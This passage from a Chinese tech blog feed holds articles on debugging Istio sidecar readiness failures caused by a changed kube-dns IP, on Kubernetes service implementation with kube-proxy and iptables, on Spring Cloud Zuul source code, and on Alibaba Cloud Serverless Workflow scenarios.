        我们登录这个pod所在的节点,用curl工具来模拟kubelet访问下边的uri,测试istio-proxy的就绪状态。

        # curl http://172.16.3.43:15020/healthz/ready -v
        * About to connect() to 172.16.3.43 port 15020 (#0)
        *   Trying 172.16.3.43...
        * Connected to 172.16.3.43 (172.16.3.43) port 15020 (#0)
        > GET /healthz/ready HTTP/1.1
        > User-Agent: curl/7.29.0
        > Host: 172.16.3.43:15020
        > Accept: */*> 
        < HTTP/1.1 503 Service Unavailable< Date: Fri, 30 Aug 2019 16:43:50 GMT
        < Content-Length: 0
        < * 
        Connection #0 to host 172.16.3.43 left intact

        绕不过去的大图

        上一节我们描述了问题现象,但是留下一个问题,就是pod里的容器个数为什么是2。虽然每个pod本质上至少有两个容器,一个是占位符容器pause,另一个是真正的工作容器,但是我们在使用kubectl命令获取pod列表的时候,READY列是不包括pause容器的。

        这里的另外一个容器,其实就是服务网格的核心概念sidercar。其实把这个容器叫做sidecar,某种意义上是不能反映这个容器的本质的。Sidecar容器本质上是反向代理,它本来是一个pod访问其他服务后端pod的负载均衡。

        图片素材1.2.png

        然而,当我们为集群中的每一个pod,都“随身”携带一个反向代理的时候,pod和反向代理就变成了服务网格。正如下边这张经典大图所示。这张图实在有点难画,所以只能借用,绕不过去。

        图片素材1.3.png

        所以sidecar模式,其实是“自带通信员”模式。这里比较有趣的是,在我们把sidecar和pod绑定在一块的时候,sidecar在出流量转发时扮演着反向代理的角色,而在入流量接收的时候,可以做超过反向代理职责的一些事情。这点我们会在其他文章里讨论。

        Istio在K8S基础上实现了服务网格,Isito使用的sidecar容器就是第一节提到的,没有就绪的容器。所以这个问题,其实就是服务网格内部,所有的sidecar容器都没有就绪。

        代理与代理的生命周期管理

        上一节我们看到,istio中的每个pod,都自带了反向代理sidecar。我们遇到的问题是,所有的sidecar都没有就绪。我们也看到readiness probe定义的,判断sidecar容器就绪的方式就是访问下边这个接口。

         http://<pod ip>:15020/healthz/ready

        接下来,我们深入看下pod,以及其sidecar的组成及原理。在服务网格里,一个pod内部除了本身处理业务的容器之外,还有istio-proxy这个sidecar容器。正常情况下,istio-proxy会启动两个进程,pilot-agent和envoy。

        如下图,envoy是实际上负责流量管理等功能的代理,从业务容器出、入的数据流,都必须要经过envoy;而pilot-agent负责维护envoy的静态配置,以及管理envoy的生命周期。这里的动态配置部分,我们在下一节会展开来讲。
        图片素材1.4.png

        我们可以使用下边的命令进入pod的istio-proxy容器做进一步排查。这里的一个小技巧,是我们可以以用户1337,使用特权模式进入istio-proxy容器,如此就可以使用iptables等只能在特权模式下运行的命令。

        docker exec -ti -u 1337 --privileged <istio-proxy container id> bash

        这里的1337用户,其实是sidecar镜像里定义的一个同名用户istio-proxy,默认sidecar容器使用这个用户。如果我们在以上命令中,不使用用户选项u,则特权模式实际上是赋予root用户的,所以我们在进入容器之后,需切换到root用户执行特权命令。

        进入容器之后,我们使用netstat命令查看监听,我们会发现,监听readiness probe端口15020的,其实是pilot-agent进程。

        istio-proxy@details-v1-68868454f5-94hzd:/$ netstat -lnpt
        Active Internet connections (only servers)
        Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
        tcp        0      0 0.0.0.0:15090           0.0.0.0:*               LISTEN      19/envoy
        tcp        0      0 127.0.0.1:15000         0.0.0.0:*               LISTEN      19/envoy
        tcp        0      0 0.0.0.0:9080            0.0.0.0:*               LISTEN      -
        tcp6       0      0 :::15020                :::*                    LISTEN      1/pilot-agent

        我们在istio-proxy内部访问readiness probe接口,一样会得到503的错误。

        就绪检查的实现

        了解了sidecar的代理,以及管理代理生命周期的pilot-agent进程,我们可以稍微思考一下pilot-agent应该怎么去实现healthz/ready这个接口。显然,如果这个接口返回OK的话,那不仅意味着pilot-agent是就绪的,而必须确保代理是工作的。

        实际上pilot-agent就绪检查接口的实现正是如此。这个接口在收到请求之后,会去调用代理envoy的server_info接口。调用所使用的的IP是localhost。这个非常好理解,因为这是同一个pod内部进程通信。使用的端口是envoy的proxyAdminPort,即15000。

        图片素材1.5.png

        有了以上的知识准备之后,我们来看下istio-proxy这个容器的日志。实际上,在容器日志里,一直在重复输出一个报错,这句报错分为两部分,其中Envoy proxy is NOT ready这部分是pilot agent在响应healthz/ready接口的时候输出的信息,即Envoy代理没有就绪;而剩下的config not received from Pilot (is Pilot running?): cds updates: 0 successful, 0 rejected; lds updates: 0 successful, 0 rejected这部分,是pilot-agent通过proxyAdminPort访问server_info的时候带回的信息,看起来是envoy没有办法从Pilot获取配置。

         Envoy proxy is NOT ready: config not received from Pilot (is Pilot running?): cds updates: 0 successful, 0 rejected; lds updates: 0 successful, 0 rejected.

        到这里,建议大家回退看下上一节的插图,在上一节我们选择性的忽略是Pilot到envoy这条虚线,即动态配置。这里的报错,实际上是envoy从控制面Pilot获取动态配置失败。

        控制面和数据面

        目前为止,这个问题其实已经很清楚了。在进一步分析问题之前,我聊一下我对控制面和数据面的理解。控制面数据面模式,可以说无处不在。我们这里举两个极端的例子。

        第一个例子,是dhcp服务器。我们都知道,在局域网中的电脑,可以通过配置dhcp来获取ip地址,这个例子中,dhcp服务器统一管理,动态分配ip地址给网络中的电脑,这里的dhcp服务器就是控制面,而每个动态获取ip的电脑就是数据面。

        第二个例子,是电影剧本,和电影的演出。剧本可以认为是控制面,而电影的演出,包括演员的每一句对白,电影场景布置等,都可以看做是数据面。

        我之所以认为这是两个极端,是因为在第一个例子中,控制面仅仅影响了电脑的一个属性,而第二个例子,控制面几乎是数据面的一个完整的抽象和拷贝,影响数据面的方方面面。Istio服务网格的控制面是比较靠近第二个例子的情况,如下图。

        图片素材1.6.png

        Istio的控制面Pilot使用grpc协议对外暴露接口istio-pilot.istio-system:15010,而envoy无法从Pilot处获取动态配置的原因,是在所有的pod中,集群dns都无法使用。

        简单的原因

        这个问题的原因其实比较简单,在sidecar容器istio-proxy里,envoy不能访问Pilot的原因是集群dns无法解析istio-pilot.istio-system这个服务名字。在容器里看到resolv.conf配置的dns服务器是172.19.0.10,这个是集群默认的kube-dns服务地址。

        istio-proxy@details-v1-68868454f5-94hzd:/$ cat /etc/resolv.conf
        nameserver 172.19.0.10
        search default.svc.cluster.local svc.cluster.local cluster.local localdomain

        但是客户删除重建了kube-dns服务,且没有指定服务IP,这导致,实际上集群dns的地址改变了,这也是为什么所有的sidecar都无法访问Pilot。

        # kubectl get svc -n kube-system
        NAME                      TYPE           CLUSTER-IP      EXTERNAL-IP     PORT(S)                      AGE
        kube-dns                  ClusterIP      172.19.9.54     <none>          53/UDP,53/TCP                5d

        最后,通过修改kube-dns服务,指定IP地址,sidecar恢复正常。

        # kubectl get pods
        NAME READY STATUS RESTARTS AGE
        details-v1-68868454f5-94hzd 2/2 Running 0 6d
        nginx-647d5bf6c5-gfvkm 2/2 Running 0 2d
        nginx-647d5bf6c5-wvfpd 2/2 Running 0 2d
        productpage-v1-5cb458d74f-28nlz 2/2 Running 0 6d
        ratings-v1-76f4c9765f-gjjsc 2/2 Running 0 6d
        reviews-v1-56f6855586-dplsf 2/2 Running 0 6d
        reviews-v2-65c9df47f8-zdgbw 2/2 Running 0 6d
        reviews-v3-6cf47594fd-cvrtf 2/2 Running 0 6d

        结论

        这其实是一个比较简单的问题,排查过程其实也就几分钟。但是写这篇文章,有点感觉是在看长安十二时辰,短短几分钟的排查过程,写完整背后的原理,前因后果,却花了几个小时。这是Istio文章的第一篇,希望在大家排查问题的时候,有所帮助。

        ]]>
        K8S从懵圈到熟练 – 集群服务的三个要点和一种实现 Fri, 02 May 2025 09:39:04 +0800

        作者:shengdong

        以我的经验来讲,理解K8S集群服务的概念,是比较不容易的一件事情。尤其是当我们基于似是而非的理解,去排查服务相关问题的时候,会非常不顺利。

        这体现在,对于新手来说,ping不通服务的IP地址这样基础的问题,都很难理解;而就算对经验很丰富的工程师来说,看懂服务相关的iptables配置,也是相当的挑战。

        今天这边文章,我来深入解释一下K8S集群服务的原理与实现,便于大家理解。

        K8S集群服务的本质是什么

        概念上来讲,K8S集群的服务,其实就是负载均衡、或反向代理。这跟阿里云的负载均衡产品,有很多类似的地方。和负载均衡一样,服务有它的IP地址以及前端端口;服务后边会挂载多个容器组Pod作为其“后端服务器”,这些“后端服务器”有自己的IP以及监听端口。

        图片素材2.1.png

        当这样的负载均衡和后端的架构,与K8S集群结合的时候,我们可以想到的最直观的实现方式,就是集群中某一个节点专门做负载均衡(类似LVS)的角色,而其他节点则用来负载后端容器组。

        图片素材2.2.png

        这样的实现方法,有一个巨大的缺陷,就是单点问题。K8S集群是Google多年来自动化运维实践的结晶,这样的实现显然与其智能运维的哲学相背离的。

        自带通信员

        边车模式(Sidecar)是微服务领域的核心概念。边车模式,换一句通俗一点的说法,就是自带通信员。熟悉服务网格的同学肯定对这个很熟悉了。但是可能比较少人注意到,其实K8S集群原始服务的实现,也是基于Sidecar模式的。

        图片素材2.3.png

        在K8S集群中,服务的实现,实际上是为每一个集群节点上,部署了一个反向代理Sidecar。而所有对集群服务的访问,都会被节点上的反向代理转换成对服务后端容器组的访问。基本上来说,节点和这些Sidecar的关系如下图所示。

        图片素材2.4.png

        把服务照进现实

        前边两节,我们看到了,K8S集群的服务,本质上是负载均衡,即反向代理;同时我们知道了,在实际实现中,这个反向代理,并不是部署在集群某一个节点上,而是作为集群节点的边车,部署在每个节点上的。

        在这里把服务照进反向代理这个现实的,是K8S集群的一个控制器,即kube-proxy。关于K8S集群控制器的原理,请参考我另外一篇关于控制器的文章。简单来说,kube-proxy作为部署在集群节点上的控制器,它们通过集群API Server监听着集群状态变化。当有新的服务被创建的时候,kube-proxy则会把集群服务的状态、属性,翻译成反向代理的配置。

        图片素材2.5.png

        那剩下的问题,就是反向代理,即上图中Proxy的实现。

        一种实现

        K8S集群节点实现服务反向代理的方法,目前主要有三种,即userspace、iptables以及ipvs。今天我们只深入分析iptables的方式,底层网络基于阿里云flannel集群网络。

        过滤器框架

        现在,我们来设想一种场景。我们有一个屋子。这个屋子有一个入水管和出水管。从入水管进入的水,是不能直接饮用的,因为有杂质。而我们期望,从出水管流出的水,可以直接饮用。为了达到目的,我们切开水管,在中间加一个杂质过滤器。

        图片素材2.6.png

        过了几天,我们的需求变了,我们不止要求从屋子里流出来的水可以直接饮用,我们还希望水是热水。所以我们不得不再在水管上增加一个切口,然后增加一个加热器。

        图片素材2.7.png

        很明显,这种切开水管,增加新功能的方式是很丑陋的。因为需求可能随时会变,我们甚至很难保证,在经过一年半载之后,这跟水管还能找得到可以被切开的地方。

        所以我们需要重新设计。首先我们不能随便切开水管,所以我们要把水管的切口固定下来。以上边的场景为例,我们确保水管只能有一个切口位置。其次,我们抽象出对水的两种处理方式:物理变化和化学变化。

        图片素材2.8.png

        基于以上的设计,如果我们需要过滤杂质,就可以在化学变化这个功能模块里增加一条过滤杂质的规则;如果我们需要增加温度的话,就可以在物理变化这个功能模块里增加一条加热的规则。

        以上的过滤器框架,显然比切水管的方式,要优秀很多。设计这个框架,我们主要做了两件事情,一个是固定水管切口位置,另外一个是抽象出两种水处理方式。

        理解这两件事情之后,我们可以来看下iptables,或者更准确的说法,netfilter的工作原理。netfilter实际上就是一个过滤器框架。netfilter在网络包收发及路由的管道上,一共切了5个口,分别是PREROUTING,FORWARD,POSTROUTING,INPUT以及OUTPUT;同时netfilter定义了包括nat、filter在内的若干个网络包处理方式。

        图片素材2.9.png

        需要注意的是,routing和forwarding很大程度上增加了以上netfilter的复杂程度,如果我们不考虑routing和forwarding,那么netfilter会变得更我们的水质过滤器框架一样简单。

        节点网络大图

        现在我们看一下K8S集群节点的网络全貌。横向来看,节点上的网络环境,被分割成不同的网络命名空间,包括主机网络命名空间和Pod网络命名空间;纵向来看,每个网络命名空间包括完整的网络栈,从应用到协议栈,再到网络设备。

        在网络设备这一层,我们通过cni0虚拟网桥,组建出系统内部的一个虚拟局域网。Pod网络通过veth对连接到这个虚拟局域网内。cni0虚拟局域网通过主机路由以及网口eth0与外部通信。

        在网络协议栈这一层,我们可以通过编程netfilter过滤器框架,来实现集群节点的反向代理。

        图片素材2.10.png

        实现反向代理,归根结底,就是做DNAT,即把发送给集群服务IP和端口的数据包,修改成发给具体容器组的IP和端口。

        参考netfilter过滤器框架的图,我们知道,在netfilter里,可以通过在PREROUTING,OUTPUT以及POSTROUGING三个位置加入NAT规则,来改变数据包的源地址或目的地址。

        因为这里需要做的是DNAT,即改变目的地址,这样的修改,必须在路由(ROUTING)之前发生以保证数据包可以被路由正确处理,所以实现反向代理的规则,需要被加到PREROUTING和OUTPUT两个位置。

        其中,PREOURTING的规则,用来处理从Pod访问服务的流量。数据包从Pod网络veth发送到cni0之后,进入主机协议栈,首先会经过netfilter PREROUTING来做处理,所以发给服务的数据包,会在这个位置做DNAT。经过DNAT处理之后,数据包的目的地址变成另外一个Pod的地址,从而经过主机路由,转发到eth0,发送给正确的集群节点。

        而添加在OUTPUT这个位置的DNAT规则,则用来处理从主机网络发给服务的数据包,原理也是类似,即经过路由之前,修改目的地址,以方便路由转发。

        升级过滤器框架

        在过滤器框架一节,我们看到netfilter是一个过滤器框架。netfilter在数据“管到”上切了5个口,分别在这5个口上,做一些数据包处理工作。虽然固定切口位置以及网络包处理方式分类已经极大的优化了过滤器框架,但是有一个关键的问题,就是我们还是得在管道上做修改以满足新的功能。换句话说,这个框架没有做到管道和过滤功能两者的彻底解耦。

        为了实现管道和过滤功能两者的解耦,netfilter用了表这个概念。表就是netfilter的过滤中心,其核心功能是过滤方式的分类(表),以及每种过滤方式中,过滤规则的组织(链)。

        图片素材2.11.png

        把过滤功能和管道解耦之后,所有对数据包的处理,都变成了对表的配置。而管道上的5个切口,仅仅变成了流量的出入口,负责把流量发送到过滤中心,并把处理之后的流量沿着管道继续传送下去。

        如上图,在表中,netfilter把规则组织成为链。表中有针对每个管道切口的默认链,也有我们自己加入的自定义链。默认链是数据的入口,默认链可以通过跳转到自定义链来完成一些复杂的功能。这里允许增加自定义链的好处是显然的。为了完成一个复杂过滤功能,比如实现K8S集群节点的反向代理,我们可以使用自定义链来模块化我们规则。

        用自定义链实现服务的反向代理

        集群服务的反向代理,实际上就是利用自定义链,模块化地实现了数据包的DNAT转换。KUBE-SERVICE是整个反向代理的入口链,其对应所有服务的总入口;KUBE-SVC-XXXX链是具体某一个服务的入口链,KUBE-SERVICE链会根据服务IP,跳转到具体服务的KUBE-SVC-XXXX链;而KUBE-SEP-XXXX链代表着某一个具体Pod的地址和端口,即endpoint,具体服务链KUBE-SVC-XXXX会以一定算法(一般是随机),跳转到endpoint链。

        图片素材2.12.png

        而如前文中提到的,因为这里需要做的是DNAT,即改变目的地址,这样的修改,必须在路由之前发生以保证数据包可以被路由正确处理。所以KUBE-SERVICE会被PREROUTING和OUTPUT两个默认链所调用。

        总结

        通过这篇文章,大家应该对K8S集群服务的概念以及实现,有了更深层次的认识。我们基本上需要把握三个要点。一、服务本质上是负载均衡;二、服务负载均衡的实现采用了与服务网格类似的Sidecar的模式,而不是LVS类型的独占模式;三、kube-proxy本质上是一个集群控制器。除此之外,我们思考了过滤器框架的设计,并在此基础上,理解使用iptables实现的服务负载均衡的原理。

        ]]>
        Spring Cloud Zuul 源码解析 Fri, 02 May 2025 09:39:04 +0800 Zuul 架构图

        Zuul的官方文档中的架构图
        image.png
        从架构图中可以看到 Zuul 通过Zuul Servlet 和 一系列 Zuul Filter 来完成智能路由和过滤器的功能。

        Zuul 工作原理概述(转)

        Zuul中,整个请求的过程是这样的,首先将请求给 ZuulServlet 处理,ZuulServlet中有一个ZuulRunner对象,该对象中初始化了RequestContext, RequestContext 作为整个请求的上下文,封装了请求的一些数据,并被所有的ZuulFilter共享。
        ZuulRunner 中还有 FilterProcessorFilterProcessor作为执行所有的ZuulFilter的管理器。FilterProcessor FilterLoader 中获取ZuulFilter,而ZuulFilter是被FilterFileManager所加载,并支持groovy热加载,采用了轮询的方式热加载。
        有了这些Filter之后,ZuulServlet首先执行的pre类型的过滤器,再执行route类型的过滤器,最后执行的是post 类型的过滤器。
        如果在执行这些过滤器有错误的时候则会执行error类型的过滤器。执行完这些过滤器,最终将请求的结果返回给客户端。

        Zuul 启动—源码分析

        在程序的启动类上加@EnableZuulProxy 注解,我们可以使用Zuul 提供的功能了,该注解的源码为:

        @Target({ElementType.TYPE})
        @Retention(RetentionPolicy.RUNTIME)
        @Import({ZuulProxyMarkerConfiguration.class})
        public @interface EnableZuulProxy {
        }

        源码中,@EnableZuulProxy 引入了ZuulProxyMarkerConfiguration 配置类,跟踪ZuulProxyMarkerConfiguration 类:

        public class ZuulProxyMarkerConfiguration {
            public ZuulProxyMarkerConfiguration() {
            }
        
            @Bean
            public ZuulProxyMarkerConfiguration.Marker zuulProxyMarkerBean() {
                return new ZuulProxyMarkerConfiguration.Marker();
            }
        
            class Marker {
                Marker() {
                }
            }
        }

        ZuulProxyMarkerConfiguration 配置类中,发现只是注册了一个ZuulProxyMarkerConfiguration.Markerbean。我们通过分析应该会有依赖这个bean的配置类。然后我们找到了 ZuulProxyAutoConfiguration 依赖了ZuulProxyMarkerConfiguration.Markerbean
        跟踪 ZuulProxyAutoConfiguration

        @Configuration
        @Import({RestClientRibbonConfiguration.class, OkHttpRibbonConfiguration.class, HttpClientRibbonConfiguration.class, HttpClientConfiguration.class})
        @ConditionalOnBean({Marker.class})
        public class ZuulProxyAutoConfiguration extends ZuulServerAutoConfiguration {
          
            @Bean
            @ConditionalOnMissingBean({DiscoveryClientRouteLocator.class})
            public DiscoveryClientRouteLocator discoveryRouteLocator() {
                return new DiscoveryClientRouteLocator(this.server.getServlet().getContextPath(), this.discovery, this.zuulProperties, this.serviceRouteMapper, this.registration);
            }
        
            @Bean
            @ConditionalOnMissingBean({PreDecorationFilter.class})
            public PreDecorationFilter preDecorationFilter(RouteLocator routeLocator, ProxyRequestHelper proxyRequestHelper) {
                return new PreDecorationFilter(routeLocator, this.server.getServlet().getContextPath(), this.zuulProperties, proxyRequestHelper);
            }
        
            @Bean
            @ConditionalOnMissingBean({RibbonRoutingFilter.class})
            public RibbonRoutingFilter ribbonRoutingFilter(ProxyRequestHelper helper, RibbonCommandFactory<?> ribbonCommandFactory) {
                RibbonRoutingFilter filter = new RibbonRoutingFilter(helper, ribbonCommandFactory, this.requestCustomizers);
                return filter;
            }
        
            @Bean
            @ConditionalOnMissingBean({SimpleHostRoutingFilter.class, CloseableHttpClient.class})
            public SimpleHostRoutingFilter simpleHostRoutingFilter(ProxyRequestHelper helper, ZuulProperties zuulProperties, ApacheHttpClientConnectionManagerFactory connectionManagerFactory, ApacheHttpClientFactory httpClientFactory) {
                return new SimpleHostRoutingFilter(helper, zuulProperties, connectionManagerFactory, httpClientFactory);
            }
        
            @Bean
            @ConditionalOnMissingBean({SimpleHostRoutingFilter.class})
            public SimpleHostRoutingFilter simpleHostRoutingFilter2(ProxyRequestHelper helper, ZuulProperties zuulProperties, CloseableHttpClient httpClient) {
                return new SimpleHostRoutingFilter(helper, zuulProperties, httpClient);
            }
        
            @Bean
            @ConditionalOnMissingBean({ServiceRouteMapper.class})
            public ServiceRouteMapper serviceRouteMapper() {
                return new SimpleServiceRouteMapper();
            }
        }
        

        我们发现在类ZuulProxyAutoConfiguration中,引入了RestClientRibbonConfiguration, OkHttpRibbonConfiguration, HttpClientRibbonConfiguration, HttpClientConfigurationZuul默认是用HttpClientRibbonConfiguration做负载均衡配置, 注入了DiscoveryClientRibbonConfiguration用作负载均衡相关。注入了一些列的Filter,
        pre类型: PreDecorationFilter ; // 装饰 Request
        route类型: RibbonRoutingFilter , SimpleHostRoutingFilter ; // 路由Filter
        ZuulProxyAutoConfiguration 的父类ZuulServerAutoConfiguration中,也引入了一些配置信息:

        @EnableConfigurationProperties({ZuulProperties.class})
        @ConditionalOnClass({ZuulServlet.class, ZuulServletFilter.class})
        @ConditionalOnBean({Marker.class})
        public class ZuulServerAutoConfiguration {
        
            // 在缺失`ZuulServlet`的情况下注入`ZuulServlet`
            @Bean
            @ConditionalOnMissingBean(
                name = {"zuulServlet"}
            )
            @ConditionalOnProperty(
                name = {"zuul.use-filter"},
                havingValue = "false",
                matchIfMissing = true
            )
            public ServletRegistrationBean zuulServlet() {
                ServletRegistrationBean<ZuulServlet> servlet = new ServletRegistrationBean(new ZuulServlet(), new String[]{this.zuulProperties.getServletPattern()});
                servlet.addInitParameter("buffer-requests", "false");
                return servlet;
            }
            
            // 在缺失`ZuulServletFilter`的情况下注入`ZuulServletFilter`
            @Bean
            @ConditionalOnMissingBean(
                name = {"zuulServletFilter"}
            )
            @ConditionalOnProperty(
                name = {"zuul.use-filter"},
                havingValue = "true",
                matchIfMissing = false
            )
            public FilterRegistrationBean zuulServletFilter() {
                FilterRegistrationBean<ZuulServletFilter> filterRegistration = new FilterRegistrationBean();
                filterRegistration.setUrlPatterns(Collections.singleton(this.zuulProperties.getServletPattern()));
                filterRegistration.setFilter(new ZuulServletFilter());
                filterRegistration.setOrder(2147483647);
                filterRegistration.addInitParameter("buffer-requests", "false");
                return filterRegistration;
            }
            // 注入  `ServletDetectionFilter`
            @Bean
            public ServletDetectionFilter servletDetectionFilter() {
                return new ServletDetectionFilter();
            }
        
            // 注入  `FormBodyWrapperFilter`
            @Bean
            public FormBodyWrapperFilter formBodyWrapperFilter() {
                return new FormBodyWrapperFilter();
            }
        
            // 注入  `DebugFilter`
            @Bean
            public DebugFilter debugFilter() {
                return new DebugFilter();
            }
        
           // 注入  `Servlet30WrapperFilter`
            @Bean
            public Servlet30WrapperFilter servlet30WrapperFilter() {
                return new Servlet30WrapperFilter();
            }
            
          // 注入  `SendResponseFilter`
            @Bean
            public SendResponseFilter sendResponseFilter(ZuulProperties properties) {
                return new SendResponseFilter(this.zuulProperties);
            }
        
           // 注入  `SendErrorFilter`
            @Bean
            public SendErrorFilter sendErrorFilter() {
                return new SendErrorFilter();
            }
         
          // 注入  `SendForwardFilter`
            @Bean
            public SendForwardFilter sendForwardFilter() {
                return new SendForwardFilter();
            }
            
            
             @Configuration
            protected static class ZuulFilterConfiguration {
                @Autowired
                private Map<String, ZuulFilter> filters;
        
                protected ZuulFilterConfiguration() {
                }
               //  ZuulFilterInitializer,在初始化类中将Filter向FilterRegistry注册
                @Bean
                public ZuulFilterInitializer zuulFilterInitializer(CounterFactory counterFactory, TracerFactory tracerFactory) {
                    FilterLoader filterLoader = FilterLoader.getInstance();
                    FilterRegistry filterRegistry = FilterRegistry.instance();
                    return new ZuulFilterInitializer(this.filters, counterFactory, tracerFactory, filterLoader, filterRegistry);
                }
            }
        }

        父类ZuulServerAutoConfiguration中,在缺失ZuulServletZuulServletFilterbean的情况下,注入ZuulServletZuulServletFilter。同时也注入了其他的过滤器,
        pre类型: ServletDetectionFilterDebugFilterServlet30WrapperFilter ;
        post类型: SendResponseFilter ; // 响应处理Filter
        route类型: SendForwardFilter ; // 重定向处理Filter
        error类型 : SendErrorFilter ; // 错误处理Filter

        初始化ZuulFilterInitializer类,通过FilterLoader 将所有的FilterFilterRegistry注册。我们看一下ZuulFilterInitializer类中部分代码

        public class ZuulFilterInitializer {
           
            // 初始化完成后注册所有的Filter
            @PostConstruct
            public void contextInitialized() {
                log.info("Starting filter initializer");
                TracerFactory.initialize(this.tracerFactory);
                CounterFactory.initialize(this.counterFactory);
                Iterator var1 = this.filters.entrySet().iterator();
        
                while(var1.hasNext()) {
                    Entry<String, ZuulFilter> entry = (Entry)var1.next();
                    this.filterRegistry.put((String)entry.getKey(), (ZuulFilter)entry.getValue());
                }
        
            }
            // 销毁前移除所有注册所有的Filter
            @PreDestroy
            public void contextDestroyed() {
                log.info("Stopping filter initializer");
                Iterator var1 = this.filters.entrySet().iterator();
        
                while(var1.hasNext()) {
                    Entry<String, ZuulFilter> entry = (Entry)var1.next();
                    this.filterRegistry.remove((String)entry.getKey());
                }
        
                this.clearLoaderCache();
                TracerFactory.initialize((TracerFactory)null);
                CounterFactory.initialize((CounterFactory)null);
            }
        }
        

        Zuul 路由-源码分析(待更新)

        ]]>
        Serverless 工作流适用场景及最佳实践 Fri, 02 May 2025 09:39:04 +0800 简介

        本文我们将围绕工作流话题,介绍:

        1. 什么是工作流,适用哪些场景?
        2. 阿里云的全托管工作流服务:Serverless 工作流
        3. Serverless 工作流适用场景
        4. Serverless 工作流编排函数计算的最佳实践

        什么是工作流,适用哪些场景?

        维基百科对工作流的定义是:对工作流程及其各操作步骤之间业务规则的抽象、概括描述。我们认为工作流的主要职责是:

        1. 保证结果一致性,提高容错性要求:对错误重试,捕获,执行回滚或补偿逻辑
        2. 为长时间运行的流程维护持久化状态,保证任务调度可靠性
        3. 控制逻辑和任务逻辑解耦:细化责任,便于管理、维护和扩展
        4. 流程控制中心化、可视化:增强进度可观测性,简化来自不同背景人群的交流
        5. 模板方式定义控制逻辑和任务依赖:减少重复工作,统一流程描述标准

        工作流通常适用于有状态的(stateful),异步 (async),长时间执行(long running)等特性的业务场景。其中比较典型的场景包括:

        1. 视频,音频,图片处理工作流
        2. 订单、审批流程
        3. 数据处理流水线
        4. 自动化运维
        5. 机器学习流水线、基因测序工作流

        常见的开源工作流服务软件如 Apache AirflowActivitiFlowableNetflix Conductor 等提供了使用代码,DSL 或是 BPMN 这类标准的工作流描述方式,允许开发者自己搭建工作流服务。不同云服务厂商也提供了各自的工作流服务如 AWS Step Functions, AWS Simple Workflow ServiceAzure Durable Functions。那么阿里云有没有一个全托管的工作流服务呢?下面的文章将为您介绍阿里云 Serverless 工作流,其适用场景和最佳实践。

        Serverless 工作流 (原函数工作流 FnF)

        如下面的胶片所示,Serverless 工作流是一个专注于提供分布式任务编排的全托管 Serverless 阿里云服务。它不仅有完善的工作流功能,也提供了和阿里云多个云服务丰富的原生集成。开发者可以将任务编写成函数计算的函数,构成完全 Serverless 的流程和任务,也可以将无法迁移到函数或者云上的任务继续在自己的 VPC 或是自建机房中运行,将编排和调度控制逻辑在云上执行。Serverless 的特性决定了工作流并行执行数可以弹性水平扩展,无需为工作流服务花费人力资源,仅按使用量付费,不为闲置资源付费。
        image

        场景 1 - 视频处理

        视频处理场景通常涉及多个处理步骤如分片,合并,不同格式转码,不同的处理逻辑需要灵活低排列组合实现完成的视频处理业务,例如有些任务需要借助于函数计算或者 ECS 自建低成本转码,有些任务需要借助于阿里云媒体处理(MPS),点播 (VOD)实现敏感内容审核,CDN 刷新等。取决于原视频的时长,视频处理流程的时间通常也都以分钟,小时,甚至若干个小时为单位计算。这样长时间运行的业务需要可靠的状态维护,错误捕获和重试。视频处理通常在一天中有周期性的波峰波谷,或是突发的海量视频上传。Serverless 弹性伸缩和 Pay-as-you-go 的特性可以从视频处理吞吐量以及成本等角度更好地满足视频处理场景的需求。详细博客参考轻松构建基于 Serverless 架构的弹性高可用音视频处理系统
        image

        场景 2 - 数据处理流水线

        离线大数据 ETL 流水线,海量 OSS 文件批量处理,超大 OSS 压缩包解压等场景通常有执行时间长,对弹性,成本要求高,对结果正确性有较严格要求,且有云服务事件触发或者定时触发的需求。Serverless 工作流最长可以支持执行时长 1 年的流程执行,Serverless 免运维,自动扩容缩容,自带错误重试(retry)和捕获(catch)机制。持久化的状态和消息保证数据处理流水线的最终一致性。通过 FC 的定时触发器也可以触发工作流的周期执行。详见博客使用函数工作流+函数计算轻松构建 ETL 离线数据处理系统
        image

        场景 3 - 订单、审批流程

        电商订单,出游行程订单等涉及支付,库存预留等关键业务对于数据一致性有极强的要求。在分布式微服务的框架下,任何接口调用都有失败的风险。订单的工作流程设计需要充分考虑各个步骤可能的失败,后果和响应的补偿逻辑。例如在一个涉及多个分布式支付的流程中,如果第三步支付失败,工作流程需要自动将已经扣款的前两部取消并完成退款。Serverless 工作流的 try/catch,持久化状态维护等特点帮助开发者简化 SAGA 模式的开发,实现分布式多步骤事务。审批流程有人工介入,审批网络不统一等场景特点,Serverless 工作流提供的任务分发至队列+回调功能可以帮助审批流程开发者轻松满足此类需求。
        image

        场景 4 - 自动化运维

        生产环境的自动化运维工作流如 ECS 镜像,快照的构建,集群上下线机器需要可靠且灵活的逻辑描述能力。相比于描述依赖关系的 DAG (有向无环图)模型,Serverless 工作流提供了 FDL 这样更加强大和灵活的描述能力。定时触发,长时间执行,低成本和 100% 资源利用率也都是可以满足自动化运维场景中的常见需求。

        image

        场景 5 - 机器学习流水线

        机器学习流水线设计算法开发,数据清洗,转化处理,模型训练,模型部署等多个步骤。生产环境中需要一个轻量的工作流引擎实现一个完整的 ML 反馈回路。Serverless Workflow 提供的人工介入能力,长时间执行和状态靠的特点可以很好地满足 ML 流水线。详见博客生产中的 Serverless 机器学习流水线
        image

        FC 函数编排最佳实践

        这个段落我们将介绍函数计算(FC)异步任务编排的最佳实践。下图列出了 Serverless Workflow 结合 FC 的优势。

        强化单个异步函数

        需要澄清的是,工作流并非只适用于多个函数的编排,实际上任何一个需要状态观测(可查询),执行时间长,结果重要不允许消息丢失的场景,如下图的事件触发场景所示,即使整个逻辑只有一个 FC 函数,也推荐使用工作流强化,保证函数有足够的重试机会。另一个使用工作流来强化单函数的应用场景是使函数计算 HTTP 触发器能够支持异步调用,目前 FC HTTP 触发器仅限于同步调用。使用 HTTP FC 发起工作流(StartExecution)后即返回。使用另一个 HTTP FC 函数 (DescribeExecution) 达到了 HTTP 异步触发任务且可以使用 HTTP 查询的效果。
        image

        编排多个函数

        下面的一系列图列举了编排多个函数常见的 4 种方式:

        • 方式 1:单体函数(Monolith functions): 整个流程在同一个进程中运行
          image
        • 方式 2:函数编排(Function orchestration): 整个流程由一个编排函数同步调用多个任务函数完成
          image
        • 方式 3:事件触发点对点调用(Choreography):没有中心化的控制器,每个任务负责异步触发下一个任务
          image
        • 方式 4:Serverless 工作流编排(Workflow orchestration): 由中心化的工作流服务调度不同函数
          image

